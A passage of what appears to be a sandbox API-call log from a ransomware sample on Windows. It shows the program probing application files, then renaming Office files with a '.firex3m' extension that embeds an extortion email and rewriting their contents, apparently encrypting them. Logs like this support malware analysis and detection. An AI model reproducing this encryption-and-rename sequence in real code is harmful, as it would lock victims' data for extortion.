(Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5280) returned 0x6fe3bb0 [0243.216] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Icon.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\icon.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.216] Sleep (dwMilliseconds=0x1) [0243.232] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-24_altform-unplated.png", len=0xa8 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-24_altform-unplated.png") returned 1 [0243.232] GetProcessHeap () returned 0x630000 [0243.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5264) returned 0x6fe3bb0 [0243.232] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\square44x44logo.targetsize-24_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.233] Sleep (dwMilliseconds=0x1) [0243.249] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario3RTL.png", len=0x71 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario3RTL.png") returned 1 [0243.250] GetProcessHeap () returned 0x630000 [0243.250] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x521c) returned 0x6fe3bb0 [0243.250] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario3RTL.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\herohelp\\scenario3rtl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.257] Sleep (dwMilliseconds=0x1) [0243.281] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Rectangle_icon.png", len=0x78 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Rectangle_icon.png") returned 1 [0243.281] GetProcessHeap () returned 0x630000 [0243.281] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51d0) returned 0x6fe3bb0 [0243.281] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Rectangle_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\rectangle_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.290] Sleep (dwMilliseconds=0x1) [0243.311] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\4-Point Star_icon.png", len=0x7b | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\4-Point Star_icon.png") returned 1 [0243.311] GetProcessHeap () returned 0x630000 [0243.311] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5160) returned 0x6fe3bb0 [0243.312] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\4-Point Star_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\4-point star_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.318] Sleep (dwMilliseconds=0x1) [0243.338] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-200.png", len=0x71 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-200.png") returned 1 [0243.338] GetProcessHeap () returned 0x630000 [0243.338] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5134) returned 0x6fe3bb0 [0243.338] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-200.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersplashscreen.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.338] Sleep (dwMilliseconds=0x1) [0243.353] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-125_contrast-white.png", len=0x7b | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-125_contrast-white.png") returned 1 [0243.353] GetProcessHeap () returned 0x630000 [0243.353] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50c4) returned 0x6fe3bb0 [0243.353] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-125_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittermedtile.scale-125_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.353] Sleep (dwMilliseconds=0x1) [0243.363] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-100_contrast-white.png", len=0x7b | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-100_contrast-white.png") returned 1 [0243.363] GetProcessHeap () returned 0x630000 [0243.363] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50b8) returned 0x6fe3bb0 [0243.364] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittermedtile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.364] Sleep (dwMilliseconds=0x1) [0243.400] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-96_contrast-black.png", len=0x7f | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-96_contrast-black.png") returned 1 [0243.400] GetProcessHeap () returned 0x630000 [0243.400] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5030) returned 0x6fe3bb0 [0243.400] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-96_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-96_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.400] Sleep (dwMilliseconds=0x1) [0243.411] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-80_contrast-white.png", len=0x7f | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-80_contrast-white.png") returned 1 [0243.411] GetProcessHeap () returned 0x630000 [0243.411] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5024) returned 0x6fe3bb0 [0243.411] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-80_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-80_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.411] Sleep (dwMilliseconds=0x1) [0243.431] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-36.png", len=0x70 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-36.png") returned 1 [0243.431] GetProcessHeap () returned 0x630000 [0243.431] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fb8) returned 0x6fe3bb0 [0243.431] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-36.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.431] Sleep (dwMilliseconds=0x1) [0243.443] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-32_altform-unplated.png", len=0x81 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-32_altform-unplated.png") returned 1 [0243.443] GetProcessHeap () returned 0x630000 [0243.443] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fac) returned 0x6fe3bb0 [0243.443] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-32_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-32_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.443] Sleep (dwMilliseconds=0x1) [0243.507] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-200.png", len=0x6c | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-200.png") returned 1 [0243.507] GetProcessHeap () returned 0x630000 [0243.507] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f40) returned 0x6fe3bb0 [0243.507] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.507] Sleep (dwMilliseconds=0x1) [0243.521] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\StoreLogo.scale-140.png", len=0x67 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\StoreLogo.scale-140.png") returned 1 [0243.521] GetProcessHeap () returned 0x630000 [0243.521] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f14) returned 0x6fe3bb0 [0243.521] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\StoreLogo.scale-140.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\storelogo.scale-140.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.521] Sleep (dwMilliseconds=0x1) [0243.539] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\Periscope_logo_bw.png", len=0x6f | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\Periscope_logo_bw.png") returned 1 [0243.539] GetProcessHeap () returned 0x630000 [0243.539] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ee8) returned 0x6fe3bb0 [0243.539] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\Periscope_logo_bw.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\periscope\\periscope_logo_bw.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.552] Sleep (dwMilliseconds=0x1) [0243.569] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl", len=0x78 | out: pbstr=0x6afff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl") returned 1 [0243.569] GetProcessHeap () returned 0x630000 [0243.569] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eb4) returned 0x6fe3bb0 [0243.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0243.602] CloseHandle (hObject=0x6e4) returned 1 [0243.602] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0243.602] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\msjet.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0243.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7339, dwReserved0=0x390031, dwReserved1=0x380039, cFileName="msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSJETX~1.FIR")) returned 0x6d5580 [0243.603] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0243.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0243.603] GetProcessHeap () returned 0x630000 [0243.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7341) returned 0x7453008 [0243.604] GetProcessHeap () returned 0x630000 [0243.604] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7341) returned 0x6f05388 [0243.604] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.604] ReadFile (in: hFile=0x6e4, lpBuffer=0x7453008, nNumberOfBytesToRead=0x7320, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453008*, lpNumberOfBytesRead=0x6afff0c*=0x7320, lpOverlapped=0x0) returned 1 [0246.963] GetProcessHeap () returned 0x630000 [0246.963] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0246.963] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.963] WriteFile (in: hFile=0x6e4, lpBuffer=0x6f05388*, nNumberOfBytesToWrite=0x7320, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f05388*, lpNumberOfBytesWritten=0x6afff0c*=0x7320, lpOverlapped=0x0) returned 1 [0246.963] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.963] WriteFile (in: hFile=0x6e4, lpBuffer=0x6f0c6a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0c6a7*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0246.964] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.964] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0246.964] CloseHandle (hObject=0x6e4) returned 1 [0246.964] GetProcessHeap () returned 0x630000 [0246.964] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f05388 | out: hHeap=0x630000) returned 1 [0249.236] GetProcessHeap () returned 0x630000 [0249.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453008 | out: hHeap=0x630000) returned 1 [0249.236] GetProcessHeap () returned 0x630000 [0249.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0249.236] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.236] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5925427c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x735d, dwReserved0=0x9807496, dwReserved1=0x7453000, cFileName="msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSJETX~1.FIR")) returned 0x6d5240 [0249.236] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0249.236] Sleep (dwMilliseconds=0x1) [0254.752] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.ELM", len=0x6e | out: pbstr=0x6afff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.ELM") returned 1 [0254.752] GetProcessHeap () returned 0x630000 [0254.752] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d70) returned 0x6fe3bb0 [0254.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\profile.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0254.950] CloseHandle (hObject=0x6c0) returned 1 [0254.950] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.950] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\profile.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\profile.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.157] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.157] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x5b005f, 